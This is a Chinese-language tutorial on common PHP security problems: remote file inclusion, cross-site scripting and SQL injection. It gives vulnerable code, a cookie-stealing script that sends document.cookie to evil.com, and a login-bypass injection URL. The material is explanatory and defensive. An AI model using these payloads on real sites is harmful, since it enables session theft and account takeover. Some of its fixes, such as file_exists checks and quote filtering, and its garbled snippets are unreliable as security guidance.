程序代碼的安全是一個程序員對開發的應用方面的多方面的素質體現,下面我來總結一下自己的經驗,有需要了解朋友可參考一下.
百度一下,設定open_basedir后只有指定的目錄和子目錄下的php腳本才會被執行,用php讀取open_basedir以外的目錄或文件會報錯,權限不足一般虛擬主機供應商都是設定為/tmp和/home,這是用戶習慣了,我們要想辦法解決這些問題了,下面總結了一些php安全問題.
1.include的時候要小心,要判斷你本地是否有這個文件,以免造成安全漏洞,比如如下 代碼:
- <?php
- include $module.'.php';
- ?>
這里假設$module是function全局變量,這個腳本讓攻擊者有機會在你的服務器上執行任何的php代碼,比如他在瀏覽器url后面加上?module=http://example.com/my就行了。當php接收到這個url的時候,腳本中的"$module"變量的值將被設置為http://example.com/my,因此當php執行include的時候就很危險了......
解決辦法:關閉php.ini中的register_globals或include的時候判斷一下,代碼如下:
- <?php
- if(file_exists($module.'.php')){
- include $module.'.php';
- }//開源代碼Vevb.com
- ?>
2.跨站運行腳本
簡單的說是攻擊者可以在用戶的瀏覽器端執行一些客戶端的腳本,例如js,然后盜取用戶的cookies或其他重要數據.
比如<script language='javaScript'>document.location=?'http://evil.com/cgi-bin/cookie.cgi?f='+document.cookie</script>
如果你點擊了按鈕,你本地的cookie信息將會被發送的某個人的郵箱,由此可見你想做個盜取用戶信息的網站是多么容易.
3.SQL注入
個人覺得是sql自身的靈活,易用給自己帶來的負面影響,代碼如下:
- <?php
- $query "select login_id from users where user='$user' and pwd='$pw'";
- mysql_query($query);
- ?>
比如用人寫了:http://example.com/login.php?user=admin'%20OR%20(user='&pwd=')%20R%20user='
你的php代碼可能變成如下:
- <?php
- $query = "select login_id from user where user='admin' or (user = '' and pwd='') or user=''";
- mysql_query($query);
- ?>
可以用函數進行過濾,過濾掉(') ("),()等等.
新聞熱點
疑難解答